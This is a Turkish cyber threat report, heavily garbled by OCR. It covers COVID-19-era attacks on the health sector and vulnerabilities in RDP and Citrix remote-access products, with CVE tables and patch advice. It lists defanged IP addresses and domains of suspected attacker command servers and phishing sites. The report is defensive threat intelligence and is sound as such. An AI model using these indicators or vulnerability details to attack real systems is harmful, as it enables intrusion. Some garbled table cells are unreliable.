Tdm dUnyanin bir numarali giindem maddesi olan
COVID-19 pandemisi sliresince bir¢ok siber saldiri mey-
dana gelmistir. Bunlarin bir kismi bu zor zamanlarda sag-
ik sektortind, bir kismi ise oltalama saldirilar Gzerinden
son kullanicilar hedef almigtir. Evden ¢alisma modelinin
yayginlastigi bu dénemde uzaktan calisma uygulamalari
da tehdit aktoérlerinin hedefi haline gelmistir. Donem &zel
konusu olarak hazirladigimiz bu bélimde, saldirilara ve
zafiyetlere dair bir gerceve c¢izip ardindan da nasil koru-
nabileceginizle ilgili bilgiler vermeye ¢alisacagiz.

21. COVID-19 Salgini Esnasinda Gerceklesen
Saglk Sektori Hedefli Siber Olaylar

Giris

Yeni koronavirls hastaliginin (COVID-19) yayilmasi, bir-
cok sektdriin atak ylzeyinde esi gérilmedik ani bir de-
gisiklige yol acti. Saglk sektériinde klinikte gbrev yap-
mayan bircok personel uzaktan ¢calismaya adapte olmak
zorunda kaldi ve bu durum guvenlik durusunda zorunlu
bir degisiklige neden oldu. Gézlemlenen en kritik nokta-
lardan biri alinan yeni alan adlari arasinda koronavirtisle
ilgili adlarin sayisinda Ustel bir artis olmasidir. Siber sal-
dirlara zemin hazirlamak maksadiyla giinde birkag bin
adet yeni alan adi olusturulmustur. Bununla birlikte teh-
dit aktorleri saglik kurumlarini hem hedefleyen hem de
taklit eden kampanyalar ylritmeye devam etmektedir.

Tehdit aktorlerinin COVID-19 pandemisinin etkilerinden
dolayl olarak faydalanmaya calisacagi da degerlendiril-
mektedir. Bu biiyik olasilikla, kaynaklarinin cogunu pan-
demiyle muicadeleye ydnlendiren saglhk kuruluslarinin
hedeflenmesini icerecektir. Gegtigimiz aylar iginde fidye
yazihmi saldirilar ve veri ihlallerinin yani sira yetkisiz ag
erisiminin en gbze carpan 6zellikleriyle kisisel verilere
(Personally Identifiable Information-PlIl) ve korunan sag-
Ik bilgilerine (Personal Health Information-PHI) ve saglik
hizmetlerine yonelik ¢esitli tehditler gdzlenmistir. Asagida
bu olaylardan derledigimiz haberleri bulabilirsiniz.
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Siber Olaylar

Hammersmith Medicines Research (HMR), Londra
merkezli ingiliz asi arastirma ve gelistirme merkezine
siber saldir diizenlenmigtir. Saldirganlarin (The Maze
ransomware group) hedef firmanin tim bilgisayar sis-
temlerini fidye yazilimlaryla kapatma girisimi basari-
siz olmustur. Saldirgan grup, bilgisayarlari kapatma
girisiminin basarisiz olmasinin ardindan ilgili sirket-
ten fidye talebinde bulunmus, fidye ddemesi talebi-
nin reddedilmesi Uzerine sirket hastalarinin kisisel ve
medikal bilgilerini iceren yaklasik 2.300 dosyay! dark
webde yayinlamigti.  Bu durum séz konusu siber
saldinnin ilk etapta basarisiz sonuglanmis gibi go-
rinse de aslinda hedefine ulagtigini géstermektedir.
Saldirgan grubun bu girisimi COVID-19 pandemisi
sirasinda hi¢bir saglik kurulusuna saldirmama soézil
vermesinden sadece birka¢ gin sonra gerceklestir-
mesi dikkat cekmektedir. HMR sirketinin BT yetkilileri
sizan bilgilerin gegmis 8-20 yil araliginda oldugunu
belirtmektedir. Sizan bilgiler; medikal anketleri, pasa-
port bilgilerini, strliict belgelerini ve sosyal glvenlik
numaralarini icermektedir. Saldirgan grup, girisimin
sirkete 14 Mart tarihinde fidye yazilimlariyla yapildigi-
ni dogrulamigtirt*4l,

Benzer sekilde INTERPOL'Un Siber Fizyon
Merkezindeki Siber Suglar Olay Miidahale ekibi, sag-
Ik sektoriindeki kilit kuruluslara karsi yapilan fidye
yazilimi saldinlarinin sayisinda énemli bir artis tespit
etmistir. Siber suclularin hastaneleri ve tibbi hizmet-
leri sekteye ugratmak icin fidye yazilimlarini kullandigi
belirtilmigtiril,

Diinya Saglik Orgiitti, COVID-19 pandemisi esnasin-
da ¢ok g6z 6niinde bulunan bir kurum oldugu igin
saldirganlarin ilk hedeflerinden biri olmustur. DSO,
dizenlenen saldirilarin, COVID-19 krizinin baglama-
sindan bu yana iki kattan daha fazla arttigini belirt-
mistir. DarkHotel adindaki saldirgan grup DSO ca-
isanlarina giris (login) ekrani gibi goériinen oltalama
sayfalan goéndererek sifre ¢calma girisiminde bulun-
mus fakat bu girisim basarisiz olmusgturte.,

Cekya’daki en blyik COVID-19 test merkezlerinden
biri olan Brno Universite Hastanesi 12 ve 13 Mart ta-
rihlerinde hedef oldugu biyik bir siber saldin sonu-
cunda tim bilgisayar sistemlerini acil kapatma karari
almistir. Bu karardan sonra hastane yonetimi sisteme
yeni kayit girisi yapamayacaklari i¢in yeni gelen tim
hastalari bagka hastanelere ydnlendirmek zorunda
kalmigtir. Ayni sebeple hastanedeki tim ameliyatlar
iptal edilmistir. Saglik galisanlari hastalarla ilgili tim
notlar elle yazmaya ve hastane iginde elden iletme-
ye baglamistir. Bu durumun siregleri gok yavaslattig
ve dolayll yoldan hastalarin hayatini tehlikeye attig
belirtiimektedir".

Amerikan Saglik ve insan Hizmetleri Bakanligi (The
U.S. Department of Health and Human Services
- HHS) COVID-19’a kargl verdigi micadeleyi
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yavaglatmayi ve halka yanls bilgi ve haberler yayil-
masini amaglayan ciddi yogunlukta siber saldiri aldi-
gini belitmektedir. HHS sézcisu Caitlin Oakley yap-
tig1 aciklamada, siber guvenlik sistemlerine yapilan
saldirilarin, tehdit ve zafiyetleri tespit etmek amaciyla
risk tabanli olarak slrekli izlendigini ve son glinlerde
alinan saldin sayilarinda ciddi miktarda artis oldugunu
belirtmistir. Bu sebeple BT birimlerinde bu sire¢ icin
ekstra glvenlik dnlemleri hazirladiklarni ve timle-
sik yaplyl koruyacaklarini agiklamistir. Ayni zamanda
bu slrregte yayilan sahte haberleri yalanlamak adina
Ulusal Glvenlik Konseyi (National Security Council
— NSC) resmi Twitter hesabindan bir agiklama yap-
migtir. Bahsi gecen tweet iceriginde halk arasinda
mesaj yoluyla yayllan ulusal karantinaya gidilecegi
yénundeki sdylenti ve yazilarin sahte oldugu, bdyle
bir seyin s6z konusu olmadigini belirtmektediriel,

Facebook’taki National Cyber Security Services gru-
bunda paylasilan bir bilgide tehdit aktdrlerinin yon-
lendiricilerin (router) DNS ayarlarini ele gegirip degis-
tirerek zararli COVID-19 uygulamalarini yaydiklarinin
tespit edildigi bildirilmistir. Bunun COVID-19 esnasin-
da ¢ikan yeni bir siber saldir tipi oldugunu ve web ta-
rayicilarin sahte olan COVID-19 uygulamalarina kargi
uyarilar verdigi belirtiimistir. Bu uygulamalar genellik-
le Diinya Saglik Orgiiti tarafindan sunuluyormus gibi
gOsterilse de aslinda tehlikeli bir kisisel veri ¢alma
yazilimi olan “Oski Information-stealing malware”den
olusmaktadir. Bu zararli yazihm calistiginda kurbanin
bilgisayarindaki tarayici gerezlerini, tarayici gecmisi-
ni, tarayici d6deme bilgilerini, kaydedilmis giris kimlik
bilgilerini (parolalar dahil), kripto para ctizdanlarini,
metin dosyalarini, tarayici otomatik doldurma bilgile-
rini, Authy iki faktorli kimlik dogrulama veri tabanla-
rni calmak ve uygulamaya zararli bulastigi siradaki
masadstinin ekran gériintisind almak gibi risk de-
recesi ¢ok kritik olan iglemleri gerceklestirebilmekte-
dir. Facebook grubu kendi kullanicilarini bu tehdide
karsl uyarmigtir4s,

Hizmet olarak erisim (Access-as-a-service) seklinde
calisan bazi siber su¢ gruplarinin Emotet zararli yazili-
mini kullanarak hedef kuruluslara ag erisimi sagladik-
lari goérilmastar. Ayni sekilde zararll fidye yazilimi kul-
lanan gruplarin “Sodinokibi” ve “Ragnarok” gibi bazi
zararll yazilimlarla sanal 6zel ag (VPN) Urinlerindeki
zafiyetleri kullanarak aglara ilk erisim sagladiklari tes-
pit edilmistir. Glncel durumda sayilari ciddi miktarda
artmis olan uzaktan calisan ve klinikte bulunmayan
saglik calisanlarinin bu VPN Urinlerini kullandiklari
dislUnulerek saldirganlar tarafindan hedef alindiklari
ongorilmektedir. Saldirganlarin bu VPN uygulama-
larindaki zafiyetleri kullanarak ilk erisimi sagladiktan
sonra domain kontrolériine erisimi amacladiklari, ar-
dindan fidye yazilimlar kurmayi amacladiklari tespit
edilmistir. Bunun icin agik kaynakl zafiyet-istisma-
r sonrasi aracglari olan Powershell Empire, Cobalt
Strike ve PSExec gibi bazi sistem yoneticisi araclarini

IP

54.157.197[.]203
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kullandiklarn gérilmustar. Bu baglamda tespit edilen
4 tane aktif C2 (Command and conquer) sunucu-
sunun ylUksek ihtimalle saglik sektérini hedef alan
Cobalt Strike ve Powershell Empire kullanan alan
adlan mevcuttur. Tablo 5°te bu potansiyel C2 sunu-
cularinin adreslerini ve alan adlarini bulabilirsiniz. Bu
bilinen sug¢ drgutlerinin disinda baz tehdit aktorleri-
nin de COVID-19 esnasinda ag erisimi sattigi tespit
edilmistir. 12 Mart 2020 tarihinde “wazawaka” isimli
tehdit aktdru yaklagsik gelirinin 2 milyar dolar oldu-
gunu belirttigi ve acik olarak adini vermedigi bir 6zel
Amerikan saglik kurulugsuna erigsim sattigini ileri sur-
mastdr. Ayni sekilde “JamBou” isimli tehdit aktori-
ndn 1.900 Amerikan saglik personelinin kigisel verile-
rini igeren veri tabanini 8 Subat 2020 tarihinde satisa
sundugu gérulmistir.

Arac Ailesi Alakah Alan Adi

Cobalt Strike plasticsurgeryall[.Jcom

54.188.166[.]98 Cobalt Strike bannerhealhcare[.Jcom
3.80.128[]232  Cobalt Strike  Mothershiphttp.
manipayhospitall.Jorg
63.142.252[.]21 Powgrshell saintmarys-reno[.Jcom
Empire

Tablo 5: Saglik sektortinl hedefleyen potansiyel C2 sunuculari.
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COVID-19 salgini sirasinda koronavirlis ile alakal
yeni alinan alan adlarinda ciddi bir artis yasandigi g6-
rilmektedir. Bu alan adlan tehdit aktoérleri tarafindan
hizlica yayllmakta ve COVID-19 ile alakah kétli amac-
Il bir ortam yaratiimaya calisiilmaktadir. Bu baglamda
gunlik olarak yaklasik 6.000 koronavirlis baglantili
alan adi kaydi gézlemlenmistir. Bu sayr Subat ayinin
basindan bu yana onaylanan vaka sayisiyla dogru
orantili olarak artmaktadir. Stpheli alan adlari kulla-
nilarak saglk sektériine gerceklestirilen bazi saldirilar
asagida listelenmistir.

/\f
e J/\\_f,,./

15/01/2020

'01/2020 29/01/2020 12/02/2020 26/02/2020 11/03/2020

Yeni Domainler (Giinlik) Yeni Vakalar (Giinliik)

Sekil 73: 2020°de COVID-19 ile iligkili alan adlarinin gunlik kayitla-

rni

ve yeni COVID-19 vakalarinin sayisini gésteren grafik.
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20 Mart 2020’ de abuse.ch goérevlileri DSO’ye (Diinya
Saglik Orgiitl) Nanocore RAT (Remote Access Trojan)
zararll yazilmi géndermek amaciyla yapilan saldiriyi
tespit etmiglerdir.

Ayni sekilde Kanada Kamu Saghigi Ajans’na Ursnif
zararll yazilimiyla saldirimaya calisiimis ve ABD
Saglik Bakanhgr'na DanaBot zararlisi kullanilarak ko-
ronavirls haritasi e-posta araciligiyla gonderilmigtir.

13 Mart 2020 tarihinde Vancouver General
Hospital’da COVID-19 temal kimlik calma girisimi
tespit edilmistir.

11 Mart 2020 tarihinde e-posta sahteciligi (spo-
ofing) kullanilarak, saglk teknolojisi sirketi olan
CipherHealth’in e-posta hesaplarindan DSO’ye ol-
talama mailleri génderilmistir. E-postada bulunan
CipherHealth alan adi baglantisinin stpl.ca baglanti-
sina kimlik bilgileri calma amaciyla dogrudan yénlen-
dirildigi tespit edilmistir.

16 Mart 2020 tarihinde kullanicilara bilgisayarlarini
COVID-19’a kars! tedavi gelistiriime sirecinde iglem
glcl bagislamayi teklif eden “Folding@home” proje-
sinin altinda RedLine Stealer zararlisi olan bir kandir-
maca oldugu tespit edilmigtir.

23 Mart 2020 tarihinde ABD Saglik ve insani Hizmetler
Bakanligi'nin (HHS) web sayfasi hhs.gov Uzerinden
saldirganlar acik ydnlendirmeyle hesaplara oltalama
e-postalar géndermislerdir. Bu e-postalarda bulunan
baglantiyla indirme yapan kisilere Raccoon Stealer
zararlisi yUklendigi tespit edilmigtir.

Tarkiye’yi hedef alan saldirilarda kullanilmak UGzere
alinmis bazi alan adlari tespit edilmistir. Bunlarin ta-
maminin oltalama amacl kullanildigiyla ilgili bir kanit
olmasa da potansiyel riskli olarak degerlendirilmistir.
Ayrintilar Tablo 6’da belirtilmigtir.

Alan Adi Kayit Tarihi Durumu
coronavirusturkiye.net 2/1/2020 Kullanilmiyor
coronavirusturkiye.blog 3/16/2020 Kullanilmiyor
coronavirus-turkey.ru 4/4/2020 Kullaniimiyor
coronavirusturkiye.website 2/26/2020 Kullanilmiyor
coronavirusturkey.xyz 4/12/2020 Sipheli
coronavirusturkiye.online 2/26/2020 Kullanilmiyor
coronavirus-turkey.online 4/4/2020 Kullanilmiyor
coronavirusturkiye.xyz 2/1/2020 Kullanilmiyor
coronavirusuturkiye.xyz 2/27/2020
coronavirus-v-turkey.online 4/5/2020 Kullaniliyor Supheli
coronavirus-v-turkey.ru 4/5/2020 Kullanilmiyor
coronavirusturkey.site 4/12/2020
coronavirusturkiye.site 3/15/2020 Kullanilmiyor
coronavirusturkey.club 4/12/2020

Tablo 6: Olasi oltalama sayfalari (Turkiye).
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12 Mart 2020 tarihinde KrebsonSecurity isimli fir-
ma, Johns Hopkins Universitesi tarafindan yapilan
COVID-19 takip haritalarinin saldirganlar tarafindan
kétuye kullanildigini tespit etmistir. Reason Security
ve MalwareBytes sirketleri de kdtlye kullanilan bu
sitelerde AZORult zararli yaziimini tespit etmiglerdir.
Internet Uzerinde listelenen COVID-19 takip haritala-
rinin web sitelerine gémulen zararl yazilim sayisinin
oldukga yiksek oldugu gorilmuastdr.

Sonug

Tehdit aktérleri COVID-19 pandemisinden hem dog-
rudan kimlik avi dolandiriciigi yaparak hem de zararli
yazihmlan ve sosyal miUhendislik taktiklerini kullanarak
faydalanmaktadir. Saglik sektori, bu tehditlerin son dé-
nemde birlestigi noktadir. Devlet destekli bazi tehdit ak-
torlerinin de 6zellikle agi ve ilag sirketlerini hedef aliyor
olmasi da konunun ulusal bir tehdit olarak degerlendirilip
o6nlemlerin bu ¢cercevede alinmasini gerektirmektedir.

Bu sirecte hastalikla ilgili verilerin, ulusal ve uluslarara-
sl makamlarin resmi web sitelerinden takibi saglanma-
Il ve bunun haricindeki kaynaklar stpheli gérilmelidir.
indirilen uygulamalarda da benzer sekilde davraniimali
ve glvenilir kaynaklar haricinde indirme iglemi yapilma-
malidir. Son kullanicilarin dikkat etmesi gereken bir diger
konu ise medikal Uriin dolandiricih@idir. Agilan sahte e-ti-
caret sitelerinden yapilacak aligveriglerde kredi karti bil-
gilerinin ¢alinmasi dahil birgok riskle karsi karsiya olun-
dugu unutulmamalidir. Guvenilir kaynaklardan alisveris
yapilmali ve web sitesine glivenli baglanti yapildigindan
emin olunmalidir. Kurumlar da uzaktan ¢alisma sirecin-
de benzer tehditlerden korunma amaciyla uzak baglanti
icin kullandiklar yéntemlerin gtivenlik durumunu gézden

Kara Liste

Listelenmemis
Listelenmemis
Listelenmemis
Listelenmemis
Listelenmis

Listelenmemis
Listelenmemis
Listelenmemis
Listelenmemis
Listelenmis

Listelenmemis
Listelenmis

Listelenmemis

Listelenmis
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gecirmeli ve ¢ok faktérli dogrulama mekanizmalarindan
yararlanmalidir.

Bu raporda tanimlanan tehditleri azaltmak ve ortaya ¢i-
kan yeni tehditlerden haberdar olabilmek icin STM Siber
Flzyon Merkezi hizmetleri kapsaminda saglanan teh-
dit istihbaratlari ve tehlike gdstergelerinin (Indicators of
Compromise-loC) takip edilmesini dSnermekteyiz.

22, Uzaktan Galismada Kullanilan Uriin ve
Sistemlerin Zafiyetleri

COVID-19 pandemisiyle birlikte birgok kurulus uzaktan
calismaya gecmek zorunda kaldi. Bu durum cogu sirket
acisindan ilk kez timuyle ya da agirlkh olarak uzaktan
calisma yapilacagi anlamina geliyordu. Uzaktan ¢alisma
dendiginde kurumlar tarafindan en sik kullanilan tekno-
lojiler VPN (Virtual Private Network) ve RDP’dir (Remote
Desktop Protocol). Simdiye kadar tehdit aktorlerinin
uzaktan calisma igin kullanilan bu teknolojiler Gzerinde
saldin teknikleri geligtirdikleri ve bircok zafiyet bulduk-
lar bilinmektedir. COVID-19 pandemisiyle uzaktan ca-
lismanin bir anda diinya genelinde yayginlasmasi, cogu
saldirganin da atak vektdrlerini yeniden bu teknolojilere
kaydirmasina neden olmustur.

Bu calismamizda uzaktan erisim servisleri olarak gerek
Ulkemizde gerekse diinya genelinde en sik kullanilan 5
arac tespit edilmis ve bu aracglar Uzerindeki zafiyetler in-
celenerek Turkiye genelindeki dagiimlar ele alinmisgtir.
iIgiIi araglar PulseSecure VPN, Fortinet VPN, Citrix ADC,
Palo Alto Global Protect Uriinleri olarak belirlenmis, ek
olarak RDP protokolU genelinde bulunan zafiyetlere de
deginilmistir. ilgili platformlara ait zafiyetlere ve istihbarat
verilerine ulagsmak i¢in hem agik kaynakl veriler hem de
STM tarafindan gelistirilen siber tehdit istihbarat Grind
CyThreat platformu kullaniimistir. incelenen zafiyetlerin
kapatiimasi icin gerekli yamalar ve alinmasi gereken 6n-
lemlere ait dneriler de yazinin devaminda verilmektedir.
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Arastirma sonucunda, uzaktan erisim araglarinda ve
VPN sistemlerinde ytiksek riskli birgok gtivenlik aciginin
bulundugu tespit edilmistir. Bu zafiyetlerin senaryoya ve
hedefe bagl olarak tek basina yalnizca hedefe sizmak
icin kullanilabilecegi gibi, ilkk énce hedef sisteme sizma
daha sonra da yatayda yayllmak i¢in zincirleme birlestiri-
lerek kullanilabilecegi gdzlemlenmistir. ilgili zafiyetlerden
etkilenmemek icin servislerin ve Urtnlerin en son versi-
yonlarinin kullanildigindan her zaman emin olunmalidir.

Uriin Zafiyet ve Tehdit Analizleri

Uzak Masalistii Protokolli (Remote Desktop
Protocol-RDP)

Uzak masaltisti protokoll kisa adiyla RDP, bir bilgisayar-
dan diger bir bilgisayara ag Uzerinden baglanip uzaktan
grafik araylziyle kontrol etmeyi saglayan bir protokoldr.
RDP protokolil Microsoft tarafindan gelistiriimis ve ilk
olarak 1998 yilinda c¢ikarilan “Microsoft NT 4.0 Terminal
Server Edition” adl isletim sistemi versiyonunda kullan-
mistir. Bu versiyonla birlikte RDP servisleri Microsoft is-
letim sistemlerine eklenmistir. Daha sonra ¢ikarilan tim
isletim sistemi versiyonlarinda da sistemle birlikte kuru-
lu olarak gelmektedir. EK bir lisans Ucreti ve VPN UrlnU
satin alimi gibi ek maliyeti olmamasi sebebiyle, buyik
firmalar haricinde birgcok kliclk ve orta dlcekli firma da
hem normal zamanda hem de COVID-19 salgini strresin-
ce RDP servislerini kullanmaktadir. internet tizerinde di-
sariya acik RDP (port 3389) servisleri kontrol edildiginde,
2020 yil baglarindan itibaren COVID-19 salgininin basla-
masiyla birlikte RDP servislerinde ylzde 127 artis oldu-
gu gorilmektedir. RDP servislerinin ¢ok uzun zamandan
beri kullaniimakta olmasi sebebiyle, RDP protokoll tze-
rinde glivenlik arastirmacilar ve siber suclular tarafindan
saptanan birgok kritik zafiyet bulunmaktadir.

2019 ve 2020 yillarinda RDP servislerine ait risk skoru
yuksek ve kritik degere sahip toplam 24 zafiyet tespit
edilmistir.

, CcvsS v3 :

No Zafiyet Adi CVE Risk Skor Zafiyet Referans Uzantisi

1 Remote Desktop Services Remote Code Execution CVE-2019-0708 9.8 https:/nvd.nist.gov/vuln/detail/CVE-2019-0708
Vulnerability (Bluekeep)

o Windows Remote Desktop Gateway (RD Gateway) CVE-2020-0610 9.8 https:/nvd.nist.gov/vuln/detail/CVE-2020-0610
Remote Code Execution Vulnerability

3  Windows Remote Deskiop Gateway (RD Gateway) CVE-2020-0609 9.8 https://nvd.nist.gov/vuln/detail/CVE-2020-0609
Remote Code Execution Vulnerability

4  Remote Deskiop Services Remote Code Execution CVE-2019-1181 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1181
Vulnerability

5  Remote Deskiop Services Remote Code Execution CVE-2019-1182 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1182
Vulnerability

g  Hemote Deskiop Services Remote Code Execution CVE-2019-1222 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1222
Vulnerability

7 Remote Desktop Services Remote Code Execution CVE-2019-1226 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1226
Vulnerability

8 \F;jlr:;’rtaeb?”f:ktop Client Remote Gode Execution CVE-2019-1290 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1290

Tablo 7: Windows RDP Zafiyet Bilgileri.
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Remote Desktop Client Remote Code Execution

N

9 o CVE-2019-1291 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1291
Vulnerability

19 ~ Remote Deskiop Client Remote Code Execution CVE-2019-0787 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-0787
Vulnerability

o | sneiOle S ST R I STl CVE-2019-0788 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-0788
Vulnerability

1o Remote Deskiop Client Remote Code Execution CVE-2020-0734 8.8 https://nvd.nist.gov/vuln/detail/CVE-2020-0734
Vulnerability

| S B GG A e S CVE-2019-1333 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-1333
Vulnerability

14  Remote Desktop Client Remote Code Execution CVE-2020-0655 8 https://nvd.nist.gov/vuln/detail/CVE-2020-0655
Vulnerability

15 g;;?::ﬂ Windows RDP Network Level Authentication -~ 5319.9519 7.8 https://nvd.nist.gov/vuln/detail/CVE-2019-9510

16 indows Remote Desktop Protocol (RDP) Denial of CVE-2019-1326 7.5 https://nvd.nist.gov/vuln/detail/CVE-2019-1326
Service Vulnerability

17 Windows Remote Desktop Protocol (RDF) Denial of CVE-2020-0660 75 https://nvd.nist.gov/vuln/detail/CVE-2020-0660
Service Vulnerability

18 Remote Desktop Protocol Information Disclosure CVE-2019-1489 7.5 https://nvd.nist.gov/vuln/detail/CVE-2019-1489
Vulnerability

19  Windows Remote Desktop Protocol (RDP) Denial of CVE-2019-1453 7.5 https://nvd.nist.gov/vuln/detail/CVE-2019-1453
Service Vulnerability

oo  Remote Deskiop Client Remote Code Exection CVE-2020-0681 75 https://nvd.nist.gov/vuln/detail/CVE-2020-0681
Vulnerability

o1  Remote Deskiop Client Remote Code Execution CVE-2020-0611 75 https://nvd.nist.gov/vuln/detail/CVE-2020-0611
Vulnerability

gp  Windows Remote Deskiop Gateway (RD Gateway) CVE-2020-0612 7.5 https://nvd.nist.gov/vuln/detail/CVE-2020-0612
Denial of Service Vulnerability

op | SO eI Al e CVE-2019-1224 75 https://nvd.nist.gov/vuln/detail/CVE-2019-1224
Disclosure Vulnerability

gy | EEIEOBEENED Gl A i S e CVE-2019-1225 75 https://nvd.nist.gov/vuln/detail/CVE-2019-1225
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Disclosure Vulnerability

Tablo 7 (devam): Windows RDP Zafiyet Bilgileri.

2019 yilindan itibaren RDP servislerinde en ¢ok istis-
mar edilen kritik zafiyet Microsoft tarafindan 14 Mayis [
2019’da bildirilen BlueKeep olarak da bilinen “CVE-  E&E L]
2019-0708” zafiyeti olmustur. Zafiyet, Remote Desktop
Services (RDS) programinin kodunda bulunan agik-
Ik sebebiyle saldirganlarin uzaktan yetkili kullanici (NT
Authority/System) haklariyla komut galistirmasina ola-
nak saglamaktadir. Zafiyet herhangi bir kimlik dogrula-
ma islemine ihtiyag duyulmadan istismar edilebildigi icin
son derece kritik olarak siniflandirimakta ve “wormable”
(kendi kendine yayilabilen) 6zelligi sebebiyle de tehdit

x

North Macedania, . N o Batumi Georgia

Ibania

Sekil 75: CVE-2019-0708 zafiyetinin Turkiye genelinde dagihmi.

TOTAL RESULTS

361.710 aktorleri tarafindan siklikla kullanildidi gézlemlenmek-
' tedir. Zafiyetten Windows 7, Windows 2008, Windows

2008 R2, Windows XP igletim sistemine sahip sistemler

etkilenmektedir.

Dlnya ve Turkiye genelinde “CVE-2019-0708” zafiyetine
sahip sistemler kontrol edildiginde Dinya genelinde top-
lam 361.710 adet sistemin, Turkiye de ise toplam 2.572
sistemin bu zafiyete sahip oldugu gézlemlenmistir.

< Uzaktan erigim servisleri arasinda yaygin olarak kulla-

China 148,709 o . -
nilan RDP protokoll igcin dzellikle yukarida belirtilen ve

United States 35,998 L . ..

E—— 18.780 uzaktan komut galistirmaya izin veren zafiyetleri gider-
e 17.721 mek icin mimkinse Windows isletim sisteminin en gtin-
Russlan Eederation 14520 cel versiyonu kullaniimall ya da en azindan ilgili zafiyetler
Turkey 2572 igin yayinlanan givenlik yamalarinin uygulanildigina emin

olunmalidir. BlueKeep zafiyeti icin Microsoft tarafindan

Sekil 74: CVE-2019-0708 zafiyetinin diinya genelinde dagilimi. yayinlanan yamaya “https://portal.msrc.microsoft.com/

SIBER TEHDIT DURUM RAPORU 43


https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

A thimnkktech
LN

STM Teknolojik Diisiince Merkezi

en-US/security-guidance/advisory/CVE-2019-0708"
baglantisindan ulasilabilir.

Yamalarin uygulanmasinin yani sira olasi saldinlardan
ya da olasi sifirinci giin zafiyetlerinden korunmak igin ek
olarak asagidaki 6nlemlerin de alinmasi 6nerilmektedir.

Uzaktan erisim gerekliligi bulunmayan sunucu
ve istemciler Uzerinde RDP servisi kapatiimalidir.
Ayrica firewalllar (izerinde RDP’nin calistigi 3389
numaral porta erisim, kurum disindaki Kisiler icin
engellenmelidir.

RDP {zerinde bulunan AgJ Seviyesinde Kimlik
Dogrulama (Network Level Authentication) &zelligi
aktive edilmelidir. Bu 6zellik sayesinde RDP Uzerin-
den baglanmaya calisan tim kullanicilarin gegerli
kullanici bilgileriyle giris yapmasi gerekmektedir.

RDP Uzerinden giris yapma yetkisi olan tim kullani-
cilann parolalarinin karmasik oldugundan emin olun-
malidir. (En az 10 haneli ve blylk kiguk harf ile 6zel
karakter iceren parola kullaniimasi énerilmektedir.)

Citrix ADC

Citrix UrUnleri kisisel uygulamalar ve sunuculara uzak-
tan baglanmanin yani sira kurumlarin ag yonetimi igin
de birgok servis ve Urin barindirmaktadir. Citrix uygula-
malarinin ve cihazlarinin sagladigi bu servis, calisanlarin
uzaktan caligma ve sistem y6netimi ihtiyaglarini kargilar-
ken, kot niyetli tehdit aktorleri icin de degerli bir erisim
noktasi olmaktadir.
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Citrix teknolojilerinin 1989’dan beri yaygin olarak kul-
lanilmasi sebebiyle Urlin ve servisleriyle iligkili birgok
glvenlik acigi s6z konusudur. Yapilan arastirmalar so-
nucunda uzaktan erisim saglayan Citrix ADC servisle-
rinde 2019 ve 2020 yillan itibariyle, risk skoru ylksek
ve kritik degere sahip toplam 16 glvenlik agigi tespit
edilmistir.

Bu zafiyetler arasinda dzellikle uzaktan galismanin yay-
ginlagsmasiyla birlikte daha sik istismar edilmeye bas-
lanan zafiyet “CVE-2019-19781”dir. Bu zafiyet Citrix
Application Delivery Controller (ADC) ve Citrix Gateway
(NetScaler Gateway) bilesenlerinde yer almakta ve yama
gecilmedigi takdirde saldirganlarin kimlik dogrulamasi
yapmadan kolay bir sekilde kurum aginda kod galistir-
masina olanak vermektedir. Bu zafiyetin yer aldigi Citrix
sunuculart kurum aginda bulundugu ve kurumdaki tim
sunucu, is istasyonlan ve kritik sistemlere baglanmak
icin kullanildigi igin zafiyetin basaril bir sekilde istismar
edilmesi, tehdit aktérlerinin sirketin kritik uygulamalari-
na ve i¢ networkte bulunan kritik dosyalara erismesine
imkan vermektedir. Citrix tarafindan bu zafiyet 17 Aralik
2019 tarihinde duyurulmus ve asagidaki versiyonlarin
zafiyetten etkilendigi bildirilmistir.

Citrix ADC ve Citrix Gateway versiyon 13.0

Citrix ADC ve NetScaler Gateway versiyon 12.1
Citrix ADC ve NetScaler Gateway versiyon 12.0
Citrix ADC ve NetScaler Gateway versiyon 11.1

Citrix NetScaler ADC and NetScaler Gateway versi-
yon 10.5

Cvss
No Zafiyet Adi CVE v3 Risk Zafiyet Referans Uzantisi
Skor

1 Citrix Application Delivery Controller/Gateway directory traversal CVE-2019-19781 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-19781
2 Citrix SD-WAN/Netscaler SD-WAN command injection CVE-2019-12985 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12985
3 Citrix SD-WAN/Netscaler SD-WAN command injection CVE-2019-12986 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12986
4 Citrix SD-WAN/Netscaler SD-WAN command injection CVE-2019-12987 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12987
5 Citrix SD-WAN/Netscaler SD-WAN command injection CVE-2019-12988 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12988
6 Citrix SD-WAN/Netscaler SD-WAN directory traversal CVE-2019-12990 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12990
7 Citrix SD-WAN/Netscaler SD-WAN command injection CVE-2019-12991 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12991
8 Citrix SD-WAN/Netscaler SD-WAN command injection CVE-2019-12992 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-12992
9 Clispplesien Eley ol yeeinay CVE-2019-18225 8.5 https://nvd.nist.gov/vuln/detail/CVE-2019-18225

Management Interface weak authentication
10 ﬁ;:(':’iiz?'w’\“ Center/NetScaler SD-WAN command CVE-2019-10883 8.5 https://nvd.nist.gov/vuln/detail/CVE-2019-10883
11 Citrix SD-WAN/Netscaler SD-WAN sq| injection CVE-2019-12989 8.5 https://nvd.nist.gov/vuln/detail/CVE-2019-12989
12 Citrix Workspace App Access Control privilege escalation CVE-2019-11634 8.5 https://nvd.nist.gov/vuln/detail/CVE-2019-11634
13 Citrix Application Delivery Management Access Control CVE-2019-17366 75 https://nvd.nist.gov/vuln/detail/CVE-2019-17366

privilege escalation
